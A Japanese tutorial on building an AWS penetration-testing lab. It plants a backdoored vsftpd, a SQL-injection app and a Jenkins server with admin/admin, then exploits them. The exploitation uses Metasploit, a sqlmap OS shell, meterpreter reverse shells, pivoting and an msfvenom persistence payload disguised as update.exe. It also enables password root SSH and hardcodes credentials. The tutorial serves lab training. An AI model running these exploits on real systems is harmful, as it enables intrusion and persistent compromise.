AWS におけるペネトレーションテストラボの構築
クラウドインフラストラクチャのセキュリティを評価するには、Amazon Web Services(AWS)内に制御された脆弱性環境を構築することが有効である。この環境では、誤った設定や既知の脆弱性を持つサービスを意図的に配置し、実際の攻撃シナリオを模倣することで、防御体制の検証が可能となる。
Ubuntu インスタンスへの脆弱な FTP サービスの導入
まず、EC2 に Ubuntu 16.04 LTS インスタンスをデプロイする。VPC とサブネットは後続のマシンと同一ネットワークに配置する必要がある。インスタンス起動後、SSH 接続を行いシステムを更新する:
sudo apt-get update && sudo apt-get dist-upgrade -y
次に、バックドア付きの vsftpd 2.3.4 を GitHub リポジトリからビルドしてインストールする:
git clone https://github.com/nikdubois/vsftpd-2.3.4-infected.git
cd vsftpd-2.3.4-infected
sudo apt-get install build-essential -y
# Makefile に LDFLAGS += -lcrypt を追加
make
sudo cp vsftpd /usr/local/sbin/
sudo mkdir -p /usr/share/empty /var/ftp
sudo useradd nobody
sudo useradd -d /var/ftp ftp
sudo cp vsftpd.conf /etc/
# 匿名ログインとローカルユーザーログインを有効化
Windows Server 2003 上での脆弱な Web アプリケーションのセットアップ
AWS Marketplace から Windows Server 2003 AMI を選択し、同じ VPC 内にデプロイする。RDP 接続後、XAMPP をインストールし、SQL インジェクション脆弱性を持つアプリケーションを展開する:
# C:\xampp\htdocs をクリア
# github.com/ShinDarth/sql-injection-demo の ZIP を展開
# phpMyAdmin で sqli データベースを作成し、database.sql をインポート
セキュリティグループによるネットワーク制御
両インスタンスが同一 VPC 内にあることを確認した上で、Kali Linux インスタンスのプライベート IP アドレスからのみ通信を許可するようにセキュリティグループを設定する。これにより、外部からの不正アクセスを防止しつつ、内部でのテスト通信を可能にする。
Kali Linux PentestBox の AWS 上での構成
AWS Marketplace から Kali Linux AMI(例:2018.1)を起動し、t2.medium インスタンスタイプを使用する。VPC 設定は前述のラボ環境と一致させる。
SSH 経由での root アクセスの有効化
モバイル端末などからの利便性のために、パスワード認証による root ログインを許可する(※本番環境では推奨されない):
sudo passwd root
sudo nano /etc/ssh/sshd_config
# PermitRootLogin yes
# PasswordAuthentication yes
sudo systemctl restart ssh
Apache Guacamole によるブラウザ経由の GUI アクセス
Guacamole を使用することで、SSH や RDP をブラウザから安全に利用できる。以下のように依存パッケージをインストールし、設定を行う:
sudo apt-get install ufw fail2ban tomcat8 xrdp build-essential \
libcairo2-dev libjpeg-dev libpng-dev libossp-uuid-dev freerdp2-dev \
libpango1.0-dev libssh2-1-dev libtelnet-dev libvncserver-dev \
libpulse-dev libssl-dev libvorbis-dev -y
# ufw でポート 22 と 55555 を開放
sudo ufw allow 22/tcp
sudo ufw allow 55555/tcp
sudo ufw enable
# Tomcat のポートを 55555 に変更
sudo sed -i 's/port="8080"/port="55555"/' /etc/tomcat8/server.xml
# xrdp 設定
echo "allowed_users=anybody" | sudo tee /etc/X11/Xwrapper.config
# Guacamole サーバーのビルドとインストール
wget https://apache.osuosl.org/guacamole/1.0.0/source/guacamole-server-1.0.0.tar.gz
tar xvf guacamole-server-1.0.0.tar.gz
cd guacamole-server-1.0.0
./configure --with-init-dir=/etc/init.d
make -j$(nproc)
sudo make install
sudo ldconfig
sudo systemctl enable guacd
# Guacamole クライアント設定
sudo mkdir -p /etc/guacamole
cat <<EOF | sudo tee /etc/guacamole/guacamole.properties
guacd-hostname: localhost
guacd-port: 4822
EOF
cat <<EOF | sudo tee /etc/guacamole/user-mapping.xml
<user-mapping>
<authorize username="pentester" password="SecurePass123!">
<connection name="RDP">
<protocol>rdp</protocol>
<param name="hostname">localhost</param>
<param name="port">3389</param>
</connection>
<connection name="SSH">
<protocol>ssh</protocol>
<param name="hostname">localhost</param>
<param name="port">22</param>
</connection>
</authorize>
</user-mapping>
EOF
sudo mkdir -p /usr/share/tomcat8/.guacamole
sudo ln -s /etc/guacamole/guacamole.properties /usr/share/tomcat8/.guacamole/
sudo mv guacamole-1.0.0.war /var/lib/tomcat8/webapps/guacamole.war
sudo systemctl restart guacd tomcat8
これにより、http://<Kali_IP>:55555/guacamole にアクセスして GUI で操作可能となる。
自動スキャンとエクスプロイトの実行
Nessus による脆弱性スキャン
Kali 上に Nessus をインストールし、SSH トンネル経由でローカルからアクセスする:
# .deb パッケージをダウンロード後
sudo dpkg -i Nessus-*.deb
sudo systemctl start nessusd
# ローカル端末で
ssh -L 8834:127.0.0.1:8834 ec2-user@<Kali_IP>
Web UI で基本ネットワークスキャンを実行し、ターゲット IP(Ubuntu と Windows)を指定。DISCOVERY で全サービスをスキャン、ASSESSMENT で Web アプリケーションも対象とする。
Metasploit を用いた vsftpd バックドアの悪用
msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS <Ubuntu_IP>
exploit
成功すると、root 権限のリバースシェルが取得される。
sqlmap による SQL インジェクションの悪用
sqlmap --url="http://<Windows_IP>/books1.php?title=&author=t" --os-shell --tmp-path=C:\\xampp\\htdocs
対話型 OS シェルが得られ、任意コマンドを実行可能となる。
CI/CD 環境のシミュレーション:Jenkins サーバーのペネトレーションテスト
Windows Server 2008 上に Jenkins をインストールし、ユーザー名・パスワードを共に admin に設定。セキュリティグループで Kali IP のみを許可。
Nexpose による詳細スキャン
Rapid7 InsightVM(Nexpose)を Kali にインストールし、包括的なスキャンを実行。TCP/UDP 全ポートを対象とし、OS フィンガープリントとサービス識別を実施。
Metasploit による Jenkins Script Console の悪用
use exploit/multi/http/jenkins_script_console
set RHOSTS <Jenkins_IP>
set RPORT 8080
set USERNAME admin
set PASSWORD admin
set TARGETURI /
set target 0 # Windows
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <Kali_IP>
set LPORT 4444
exploit
Meterpreter による権限昇格とピボッティング
getsystem
background
route add <Internal_Subnet> <Subnet_Mask> <Session_ID>
# 内部ネットワークのスキャン
use auxiliary/scanner/portscan/tcp
set RHOSTS <Internal_Ubuntu_IP>
run
内部ホストへの到達が確認できたら、永続化のために msfvenom でペイロードを生成し、起動時に実行されるよう登録する:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<Kali_IP> LPORT=4444 -f exe -o /tmp/payload.exe
# Meterpreter セッション内で
run post/windows/manage/persistence_exe REXEPATH=/tmp/payload.exe REXENAME=update.exe STARTUP=USER LocalExePath=C:\\temp
EBS ボリュームからの削除データの復元と暗号化の効果
EBS ボリュームの作成とマウント
# EC2 コンソールで 8GB EBS ボリューム作成(暗号化なし)
# Ubuntu インスタンスにアタッチ
sudo mkfs -t ext4 /dev/xvdf
sudo mkdir /mnt/ebs
sudo mount /dev/xvdf /mnt/ebs
echo "Secret Data" | sudo tee /mnt/ebs/sensitive.txt
sudo rm /mnt/ebs/sensitive.txt
sudo umount /dev/xvdf
The Sleuth Kit (TSK) による削除ファイルの復元
# ボリュームを Kali にアタッチ
sudo mmls /dev/xvdf
# オフセットを特定(例: 2048)
sudo fls -o 2048 /dev/xvdf
# inode 番号を取得(例: 12)
sudo icat -o 2048 /dev/xvdf 12 > recovered.txt
cat recovered.txt # "Secret Data" が出力
EBS 暗号化によるデータ保護
AWS KMS を用いて EBS ボリュームを暗号化すると、上記の復元手法は失敗する。暗号化されたボリュームを Kali にアタッチしても、ファイルシステム構造が読み取れず、inode 情報が取得できないため、削除データの復元は不可能となる。これにより、物理的または論理的なデータ漏洩リスクを大幅に低減できる。